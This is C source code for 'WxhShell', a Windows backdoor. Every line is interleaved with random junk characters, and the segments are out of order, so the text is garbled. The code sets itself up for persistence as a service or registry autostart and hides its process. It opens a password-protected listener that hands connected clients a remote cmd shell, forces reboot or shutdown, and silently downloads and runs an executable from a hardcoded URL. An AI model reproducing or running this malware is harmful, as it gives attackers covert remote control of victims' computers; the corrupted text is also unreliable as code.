    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jx'2N~$  
    if(Boot(SHUTDOWN)) FZH-q!"^cK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xb]o dYGdW  
    else { Hk~k@Wft  
    closesocket(wsh); ![).zi+m  
    ExitThread(0); `2,a(Sk#  
    } qrpb[)Ll  
    break; VjY<\WqbS  
    } 1TIlINlJ  
  // 获取shell z,avQR&  
  case 's': { X5 j=C]  
    CmdShell(wsh); =&N$Vqn  
    closesocket(wsh); +v!v[qn  
    ExitThread(0); *Wso3 6an  
    break; 'g~@"9'oe  
  } )@_ugW-j  
  // 退出 Fe5jdV<  
  case 'x': { Co[n--@C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C 0>=x{,v  
    CloseIt(wsh); gvGi %gq  
    break; hF.6}28U1  
    } e"~)Utk  
  // 离开 NHAH#7]M&1  
  case 'q': { ~$Y|ca  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); # ) `\!)?  
    closesocket(wsh); `.[ 8$  
    WSACleanup(); M%|f+u&  
    exit(1); VAs ( .y  
    break; 1AT'S;`  
        } UGCox-W"  
  } r6MB"4xd  
  } ~z`/9 ;  
Z7KXWu+6`m  
  // 提示信息 PtqGX=u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pC^2Rzf  
} _ eiF@G  
  } hiN/S|JN8y  
:3 y_mf>  
  return; ]4o?BkL  
} -X8eabb  
9n 6fXOC  
// shell模块句柄 h0lu!m#\_  
int CmdShell(SOCKET sock) \K}aQKB/j  
{ :u-.T.zZl  
STARTUPINFO si; OXCQfT@\  
ZeroMemory(&si,sizeof(si)); cix36MR_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +Vy_9I(4Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d;44;*D  
PROCESS_INFORMATION ProcessInfo; B9^R8|V  
char cmdline[]="cmd"; K:_($X]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r.<JDdj  
  return 0; (bvoF5%  
} 4TVwa(cB  
si?HkJv5  
// 自身启动模式 uy9!qk  
int StartFromService(void) 0m&3?"5u  
{ CKd3w8;  
typedef struct W+hV9  
{ ?ZX!7^7  
  DWORD ExitStatus; .`J:xL%Z  
  DWORD PebBaseAddress; OD|1c6+X  
  DWORD AffinityMask; PU Cx]5  
  DWORD BasePriority; >{t+4p4k.  
  ULONG UniqueProcessId; `< Yf{'*  
  ULONG InheritedFromUniqueProcessId; TVeJ6  
}   PROCESS_BASIC_INFORMATION; 7"K^H]6u30  
J3IRP/*z  
PROCNTQSIP NtQueryInformationProcess; l#xw.2bo  
&O*ENpF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DY.58IHg1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ S~%KsC  
km4g}~N</  
  HANDLE             hProcess; k{-`]qiK  
  PROCESS_BASIC_INFORMATION pbi; _-TOeP8#94  
hVf^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rJV?) =Z  
  if(NULL == hInst ) return 0; ls @5^g  
ZAeQ~ j~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @|=UrKAN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); afUTAP@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sOQcx\dK  
[+Un ^gD  
  if (!NtQueryInformationProcess) return 0; Hg whe=P  
h. ^o)T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G"> 0]LQ  
  if(!hProcess) return 0; Nf5WQTa4  
! TDD^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,LZ(^ u  
X:{WZs"[x  
  CloseHandle(hProcess); " 5|\X<f  
ohsH2]C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =G>.-Qfs  
if(hProcess==NULL) return 0; PG"@A  
7E\gxQ(vU  
HMODULE hMod; :H\&2/j  
char procName[255]; 4>_d3_1sn  
unsigned long cbNeeded; }4vjKSV  
HlRAD|]\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @H+~2;B,  
i@6wO?Tv  
  CloseHandle(hProcess); \xeVDKJH+n  
j{"[Ec  
if(strstr(procName,"services")) return 1; // 以服务启动 !sG"n&uZq  
]#5^&w)'  
  return 0; // 注册表启动 {XHk6w *-  
} A$<>JVv  
4 l1 i>_R  
// 主模块 PY -+Bf  
int StartWxhshell(LPSTR lpCmdLine) gIBpOPr^d  
{ IfB/O.;Kz  
  SOCKET wsl; OHhs y|W  
BOOL val=TRUE; HtUG#sc&`{  
  int port=0; y;:]F|%<  
  struct sockaddr_in door; oAnigu;  
Y-]YDXrPQ  
  if(wscfg.ws_autoins) Install(); _uJVuCc  
B.6`cM^  
port=atoi(lpCmdLine); C#$6O8O  
0d`5Gy_D%  
if(port<=0) port=wscfg.ws_port; Y'JL(~|  
`oVB!eapl  
  WSADATA data; oXbI5XY)wb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JT#7yetk'  
ENyAF%6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |lE-&a$xd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e{JVXc[D  
  door.sin_family = AF_INET; ]hKgA~;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x5PPu/  
  door.sin_port = htons(port); niQcvnT4b  
4(8<w cL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?UJSxL  
closesocket(wsl); =1/q)b,p)  
return 1; '+6 <U[ L  
} EIPnm%{1  
hk.yR1Y|  
  if(listen(wsl,2) == INVALID_SOCKET) { 5y}BCY2=/  
closesocket(wsl); x,f>X;04  
return 1; }+_9"YQ:  
} (FG^UA#'  
  Wxhshell(wsl); ,m3":{G:t.  
  WSACleanup(); ,m:6qdN  
?CFoe$M  
return 0; p>&S7M/9  
m\?\6W k  
} t*s!0 'Y  
ZqFUPHc  
// 以NT服务方式启动 BtID;^D z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^X^,>Z|  
{ x RB7lV*  
DWORD   status = 0; fRFYJFc n  
  DWORD   specificError = 0xfffffff; "5h_8k~sQ  
@ce3%`c_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9':/Sab:7v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oAaf)?8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^9s"FdB]24  
  serviceStatus.dwWin32ExitCode     = 0; ~Zu}M>-^c,  
  serviceStatus.dwServiceSpecificExitCode = 0; ;&q]X]bJ  
  serviceStatus.dwCheckPoint       = 0; ^H-QYuz:T0  
  serviceStatus.dwWaitHint       = 0; Qj:{p5H'  
.X^43 q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9j2\y=<&  
  if (hServiceStatusHandle==0) return; _\!0t  
'(XW$D  
status = GetLastError(); !YIb  
  if (status!=NO_ERROR) 5c)<'EP  
{ YMK>+y[+4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w~n kNqm  
    serviceStatus.dwCheckPoint       = 0; BPqwDj W  
    serviceStatus.dwWaitHint       = 0; YY\Rua/nG  
    serviceStatus.dwWin32ExitCode     = status; I0(8Z]x  
    serviceStatus.dwServiceSpecificExitCode = specificError; a 1NCVZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C?S~L5a#oC  
    return; u,\xok"  
  } =:;YTie  
xp(mB7;:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HI z9s4Y_  
  serviceStatus.dwCheckPoint       = 0; Z+Xc1W^  
  serviceStatus.dwWaitHint       = 0; OK.-]()!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }Py<qXH  
} EL"4E',  
LK{a9` h  
// 处理NT服务事件,比如:启动、停止 ea>[BB3#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BJ"Ay@D*  
{ @|Z*f\  
switch(fdwControl) Bg5;Q)  
{ roL}lM$  
case SERVICE_CONTROL_STOP: >d'EInSF  
  serviceStatus.dwWin32ExitCode = 0; ^fG`DjA)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b5[f 5  
  serviceStatus.dwCheckPoint   = 0; `I@)<d  
  serviceStatus.dwWaitHint     = 0; y{:]sHyG  
  { X E!2Q7Q9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {7/A  
  } t]gq+ c Lo  
  return; Ja^7$WY  
case SERVICE_CONTROL_PAUSE: /E; ;j9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kqQphKkL  
  break; )H.ubM1  
case SERVICE_CONTROL_CONTINUE: |:dCVd<du  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _,11EeW@  
  break; M^Q&A R'F  
case SERVICE_CONTROL_INTERROGATE: zsHG= Ee*  
  break; \,$r,6-g  
}; AECxd[k$9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W dei`u[  
} 'O!Z:-qE  
h4J{jh.  
// 标准应用程序主函数 ViCg|1c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h9,wiT  
{ tn(f rccy  
&C CHxjsKR  
// 获取操作系统版本 %ZJ),9+  
OsIsNt=GetOsVer(); o'9OPoof:.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z5"!0B^ j  
zpBBnlq  
  // 从命令行安装 ?{y:s!!  
  if(strpbrk(lpCmdLine,"iI")) Install(); h v;n[  
&':UlzG  
  // 下载执行文件 _|Y.!ZRYP  
if(wscfg.ws_downexe) { 'iMHAP;N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *[XN.sb8E  
  WinExec(wscfg.ws_filenam,SW_HIDE); i{%z  
} f\U?:8 3  
Ek gZxT_&  
if(!OsIsNt) { ~(w=U *  
// 如果时win9x,隐藏进程并且设置为注册表启动 8=ukS_?Vy  
HideProc(); V{ 4i$'  
StartWxhshell(lpCmdLine); hY4)W  
} [Gh%nsH  
else Res"0Q  
  if(StartFromService()) {9m!UlTtw  
  // 以服务方式启动 'l0eo' K  
  StartServiceCtrlDispatcher(DispatchTable); u&l>cJ'  
else "-~D! {rS  
  // 普通方式启动 4iL.4Uj{N  
  StartWxhshell(lpCmdLine); U|y;b+n`  
@w.b |  
return 0; / y":/" h  
} Y]`lEq%  
a!hI${Xn  
Gdc ~Lh  
E980yXJR  
=========================================== eNlF2M  
p;c_<>ws-Y  
Wq[=}qh~  
LB64W ;#h  
)ZQ9a4%  
&t9XK8S  
" jl 30\M7  
Z<,CzKs+||  
#include <stdio.h> f)ucC$1=  
#include <string.h> 8KGv?^M 6W  
#include <windows.h> Ztpm_P6  
#include <winsock2.h> 9$4/frd  
#include <winsvc.h> 2y .-4?e  
#include <urlmon.h> c?V*X-   
U#~nN+SIt  
#pragma comment (lib, "Ws2_32.lib") .9[8H:Fe  
#pragma comment (lib, "urlmon.lib") hsQrd%{f  
}77=<N br  
#define MAX_USER   100 // 最大客户端连接数 fjK]m.w  
#define BUF_SOCK   200 // sock buffer f@xfb ie !  
#define KEY_BUFF   255 // 输入 buffer Ep,0Z*j  
rz%[o,s  
#define REBOOT     0   // 重启 9B?t3:  
#define SHUTDOWN   1   // 关机 HLyFyv\  
_]PfeCn:j  
#define DEF_PORT   5000 // 监听端口 e$xv[9  
* F%ol;|Q  
#define REG_LEN     16   // 注册表键长度 3Mh,NQB  
#define SVC_LEN     80   // NT服务名长度 1l`s1C  
~XT a=  
// 从dll定义API }T1Xds8w)t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^hYR5SX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l_q>(FoqA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]rX?n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $=QGua V  
>!v,`O1  
// wxhshell配置信息 Rcx'a:k  
struct WSCFG { r1az=$  
  int ws_port;         // 监听端口 by:xD2 5  
  char ws_passstr[REG_LEN]; // 口令 *O}'2Ht6\  
  int ws_autoins;       // 安装标记, 1=yes 0=no C[<\ufclD  
  char ws_regname[REG_LEN]; // 注册表键名  [k&s!Qp  
  char ws_svcname[REG_LEN]; // 服务名 YI\Cs=T/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B+q+)O+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B| 0s4E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XL&eJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +n.j.JP"X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VL!kX``^F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d(B;vL@R2V  
*~oDP@[S  
}; vJj j+:  
f}9`iN=k  
// default Wxhshell configuration @Q1F#IU  
struct WSCFG wscfg={DEF_PORT, Q,qylL  
    "xuhuanlingzhe", [j+0EVwB  
    1, uY%3X/^j  
    "Wxhshell", 6;c{~$s~[  
    "Wxhshell", q@"4Rbu6  
            "WxhShell Service", Fe2 -;o  
    "Wrsky Windows CmdShell Service", ve]95w9J  
    "Please Input Your Password: ", m4.V$U,H]  
  1, &b]KMAo3  
  "http://www.wrsky.com/wxhshell.exe", 4hr+GO@o(  
  "Wxhshell.exe" x)sDf!d4bi  
    }; Yiw^@T\H`  
m?CjYqvf  
// 消息定义模块 +CHO0n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |0 pBBDw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E2/U']R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  KNyD}1  
char *msg_ws_ext="\n\rExit."; |2]WA'q  
char *msg_ws_end="\n\rQuit."; xMGd'l?  
char *msg_ws_boot="\n\rReboot..."; e&7}N Za  
char *msg_ws_poff="\n\rShutdown..."; =,;3z/k%  
char *msg_ws_down="\n\rSave to "; lukRFN>c"  
(Jr;:[4XC  
char *msg_ws_err="\n\rErr!"; Q-%=ZW Z  
char *msg_ws_ok="\n\rOK!"; x,*t/nzR  
:[?o7%"  
char ExeFile[MAX_PATH]; G8c}re   
int nUser = 0; (c7{dYV  
HANDLE handles[MAX_USER]; IHMyP~{  
int OsIsNt; aRKG)0=  
8@#Y <{  
SERVICE_STATUS       serviceStatus; ]OUOL/J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; WD1$"}R  
b#'a4j-u  
// 函数声明 v2z/|sG  
int Install(void); H~K2`Cr)4  
int Uninstall(void); Z- Ae'ym  
int DownloadFile(char *sURL, SOCKET wsh); gV>\lMc[-%  
int Boot(int flag); HpC4$JMm  
void HideProc(void); ! \Kh\  
int GetOsVer(void); !|QeYGnq6  
int Wxhshell(SOCKET wsl); j[eEyCW[)  
void TalkWithClient(void *cs); kpUU'7Q  
int CmdShell(SOCKET sock); /Bu5k BC  
int StartFromService(void); 2|o$eq3t  
int StartWxhshell(LPSTR lpCmdLine); vwD(J.;  
k&;L(D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \kO_"{7n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )ciHY6  
&y?B&4|hM  
// 数据结构和表定义 ) O^08]Y g  
SERVICE_TABLE_ENTRY DispatchTable[] = Kf5p* AI  
{ {q4"x5|  
{wscfg.ws_svcname, NTServiceMain}, /L Tyiiz6  
{NULL, NULL} =h!m/f^x  
}; FeMu`|2  
X y<KvFy  
// 自我安装 %>z}P&Yz  
int Install(void) GUX X|W[6  
{ u'> CU  
  char svExeFile[MAX_PATH]; !*-cf$  
  HKEY key; 1OL~)X3  
  strcpy(svExeFile,ExeFile); ?[">%^  
u] b6>  
// 如果是win9x系统,修改注册表设为自启动 95&HsgdxJ  
if(!OsIsNt) { = ByW`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kwnu|8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tDkqwF),  
  RegCloseKey(key); UW3F)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^j7pF.j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 39CPFgi<l*  
  RegCloseKey(key); JTJ4a8DE  
  return 0; VPbNLi  
    } )-oNy-YL  
  } Y8T.RS0  
} 'l;|t"R12  
else { Rz]bCiD3 B  
7Cjrh"al"  
// 如果是NT以上系统,安装为系统服务 S]m[$)U%@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "'L SLp  
if (schSCManager!=0) E~ kmU{D  
{ 3t'K@W?AJh  
  SC_HANDLE schService = CreateService T /uu='3  
  ( I%Z &i-33y  
  schSCManager, "mA/:8`Q  
  wscfg.ws_svcname, teb(\% ,  
  wscfg.ws_svcdisp, 7=9jXNk Y  
  SERVICE_ALL_ACCESS, b3H;Ea?^^<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !Fi)-o  
  SERVICE_AUTO_START, z,WrLZC  
  SERVICE_ERROR_NORMAL, 4Ki'r&L\  
  svExeFile, $[Ns#7K  
  NULL, "P~>AXcq  
  NULL, j#,O,\  
  NULL, Bb)J8,LQ  
  NULL, w]}v m-  
  NULL tq[C"| dH  
  ); ]@EjKgs  
  if (schService!=0) =*pu+o,?  
  { 23PSv8;EM  
  CloseServiceHandle(schService); |Cm}%sgR\0  
  CloseServiceHandle(schSCManager); & CgLF]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +t f=  
  strcat(svExeFile,wscfg.ws_svcname); YA jk'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8eNGPuoL)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x =k$^V~  
  RegCloseKey(key); n~LR=o  
  return 0; 9I9)5`d|Jn  
    } H={,zZ11{  
  } Z'E@sc 9  
  CloseServiceHandle(schSCManager); Z(s} #-  
} ]TQjk{X<  
} =vWnqF:  
"3K0 wR5  
return 1; pT <H&  
} x/ez=yd*l  
],LOkAX  
// 自我卸载 S"dQ@r9  
int Uninstall(void) \l`;]cA  
{ @[^H*^1|g  
  HKEY key; \%K6T)9  
+1rJ;G  
if(!OsIsNt) { T@L^RaPX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ixp%aRRP  
  RegDeleteValue(key,wscfg.ws_regname); /w|YNDA]j  
  RegCloseKey(key); `hbM 2cM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F>&8b^v bn  
  RegDeleteValue(key,wscfg.ws_regname); 4B |f}7%\  
  RegCloseKey(key); TnC'<zm9 !  
  return 0; @8 pRIS"V  
  } =Ij;I~  
} (Lc%G~{  
} </fzBaTo  
else {  z\ \MLyS  
}\9qN!ol  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rC'97`!K  
if (schSCManager!=0) !l}es4~.a  
{ )t|M)zJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :5dq<>~  
  if (schService!=0) C 9DRVkjj  
  { !$O +M#  
  if(DeleteService(schService)!=0) { $(GXlhA  
  CloseServiceHandle(schService); wy7f7zIa  
  CloseServiceHandle(schSCManager); Alrk3I3{  
  return 0; oRCj]9I$  
  } 5-MI 7I@l  
  CloseServiceHandle(schService); kw!! 5U;7  
  } VlK WWQj  
  CloseServiceHandle(schSCManager); qLcs)&}/A  
} V-VR+Ndz  
} q$\KE4v"  
-?j'<g0  
return 1; O5E\#*<K  
} 0;)4.*t  
SoCa_9*X  
// 从指定url下载文件 emTqbO  
int DownloadFile(char *sURL, SOCKET wsh) <_h  
{ Z[ys>\_To  
  HRESULT hr; }LOAT$]XI  
char seps[]= "/"; M4`qi3I  
char *token; %?K'eg kp  
char *file; >]FRHJo_  
char myURL[MAX_PATH]; *M09Y'5]  
char myFILE[MAX_PATH]; :Oxrw5`=  
L\o-zNY  
strcpy(myURL,sURL); 1a`dB ~>  
  token=strtok(myURL,seps); $vx]\` ^  
  while(token!=NULL) ?3[as<GZ8  
  {  2>p>AvcK  
    file=token; Nv w'[?m  
  token=strtok(NULL,seps); \Gg6&:Ua  
  } ~~z} yCl  
y$'(/iyz  
GetCurrentDirectory(MAX_PATH,myFILE); Ns Pt1_ Y8  
strcat(myFILE, "\\"); eqV;4dhm  
strcat(myFILE, file); RAPR-I;{  
  send(wsh,myFILE,strlen(myFILE),0); &Yb!j  
send(wsh,"...",3,0); :A"GO c,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <A<N? `"  
  if(hr==S_OK) D&#wn.0|E  
return 0; FbhF45H  
else g{RVxGE7  
return 1; '| WY 2>/(  
4J{6Wt";  
} P9c!   
},+ &y^  
// 系统电源模块  Jpm=V*P  
int Boot(int flag) <*oTVl4fS  
{ OlI|.~  
  HANDLE hToken; 4d-f 6iiFV  
  TOKEN_PRIVILEGES tkp; [7 _1GSS1  
}hRw{#*8  
  if(OsIsNt) { Xs}.7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }LeizbU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); db#svj*  
    tkp.PrivilegeCount = 1; x4v@o?zW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #p$iWY>e~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %?2y2O ,;  
if(flag==REBOOT) { Y].,}}9k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y!eT>4Oyg  
  return 0; 17la/7l<  
} W-D{ cU  
else { 7bSj[kuN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }ff+RGxLIG  
  return 0; :<gC7UW  
} rel_Z..~  
  } ?te~[_oT  
  else { l$Y*ii  
if(flag==REBOOT) { q]Vxf!0*>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'Y2ImSWj  
  return 0; g|TWoRx:  
} ;-kC&GZf  
else { #fy3 i+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {f"oqry_g  
  return 0; {;5\#VFg  
} /#}o19(-d  
} )sN}ClgJ  
iVT)V>Up  
return 1; k@Qd:I;;  
} `NySTd)\  
fDjJdRS"  
// win9x进程隐藏模块 Uz =OTM  
void HideProc(void) mR O@ZY;5  
{ 'C7$,H'  
>npTUOGL=n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); = IJ}b=:  
  if ( hKernel != NULL ) y**YFQ*sc  
  { 9+#BU$*v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IN_O!c0e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i&^]qL|J  
    FreeLibrary(hKernel); @d|3c7` A  
  } TXT!Ae  
&6e A.  
return; jP#I](\eG  
} .WLwAL  
_1G;!eO  
// 获取操作系统版本  oP~%7Jt  
int GetOsVer(void) GC`/\~TM  
{ 068DC_  
  OSVERSIONINFO winfo; +,]_TxL|C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U1Y0G[i)  
  GetVersionEx(&winfo); {8 #  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CHyT'RT  
  return 1; 3S .2  
  else %/2OP &1<  
  return 0; 4k!>JQor  
} G/ H>M%M  
QtA@p  
// 客户端句柄模块 T_[5 ZYy  
int Wxhshell(SOCKET wsl) _6m{zvyX>  
{ Z.`0  
  SOCKET wsh; D+u\ORj  
  struct sockaddr_in client; wbB\~*Z)  
  DWORD myID; >9y!M'V  
+&r=XJ5:`p  
  while(nUser<MAX_USER) CF6qEG6  
{ h.\p+Qw.  
  int nSize=sizeof(client); ~7gFddi=i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @O/"s~d-  
  if(wsh==INVALID_SOCKET) return 1; liBFx6\"S  
JQ|*XU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]E.\ |I(  
if(handles[nUser]==0) mA#;6?6  
  closesocket(wsh); dt0(04  
else ]@m`bs_6  
  nUser++; XP[~ :+  
  } U] P{~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vR (nd  
G.r =fNP  
  return 0; "EVf1iQ  
} \O]kf>nC  
#7"";"{ z|  
// 关闭 socket kkJ8xyO  
void CloseIt(SOCKET wsh) WHqw=! G  
{ *to#ZMR;!  
closesocket(wsh); ltyhYPS  
nUser--; _;R#B`9Iu  
ExitThread(0); Jpy~5kS  
}  4&%E?_M  
qoZe<jW (  
// 客户端请求句柄 d6ifJ  
void TalkWithClient(void *cs) zcuz @  
{ 3v&Shb?xb;  
YV'B*arIA  
  SOCKET wsh=(SOCKET)cs; F$'po#  
  char pwd[SVC_LEN]; C`uL 4r  
  char cmd[KEY_BUFF]; 7%&e4'SZO  
char chr[1]; [ {HTGz@(  
int i,j; >QPCYo<E  
Nrq/Pkmy  
  while (nUser < MAX_USER) { b>9?gmR{  
wv=U[:Y  
if(wscfg.ws_passstr) { (,|eE)+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o?+?@Xb'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \=$G94%  
  //ZeroMemory(pwd,KEY_BUFF); Js.G hTs  
      i=0; f%JM a]yV  
  while(i<SVC_LEN) { /8u}VYE  
brK7|&R<  
  // 设置超时 #Zi6N  
  fd_set FdRead; "Z~@"JLb%  
  struct timeval TimeOut; LoOw]@>  
  FD_ZERO(&FdRead); @LY[kt6o  
  FD_SET(wsh,&FdRead); ^E)8Sb9t  
  TimeOut.tv_sec=8; TH55@1W,[  
  TimeOut.tv_usec=0; `=Rxnl,<U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EpTc{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9!0-~,o  
@i#=1)Ze  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3JD"* <zs  
  pwd=chr[0]; Q'Uv5p"X  
  if(chr[0]==0xd || chr[0]==0xa) { uZ+"-Ig  
  pwd=0; o)Px d  
  break; ys:F  
  } I|2dV9y  
  i++; >wR)p\UEb  
    } fp`m>} -  
Z`Jt6QgW  
  // 如果是非法用户,关闭 socket p9!jM\(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h A '>  
} L-m' #  
2Ky|+s[`[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bIzBY+P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P057]cAat<  
FTzc,6  
while(1) { #MviO!@  
!Q}Bz*Y  
  ZeroMemory(cmd,KEY_BUFF); Zeq^dV5y77  
AmUH]+5KT  
      // 自动支持客户端 telnet标准   #WE lL2&  
  j=0; w}M)]kY  
  while(j<KEY_BUFF) { zFY$^Oz"_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  feM(  
  cmd[j]=chr[0]; Q91mCP~$  
  if(chr[0]==0xa || chr[0]==0xd) { 8M]QDgd.  
  cmd[j]=0; CUft  
  break; Wd7qpWItjQ  
  } J:IAs:e`  
  j++; DD6K[\  
    } +S1h~@c:B  
kk OjAp{<t  
  // 下载文件 `'9t^ 6mk  
  if(strstr(cmd,"http://")) { T:!H^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d_ &~^*>  
  if(DownloadFile(cmd,wsh)) $J]NWgXl@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XAB/S8e  
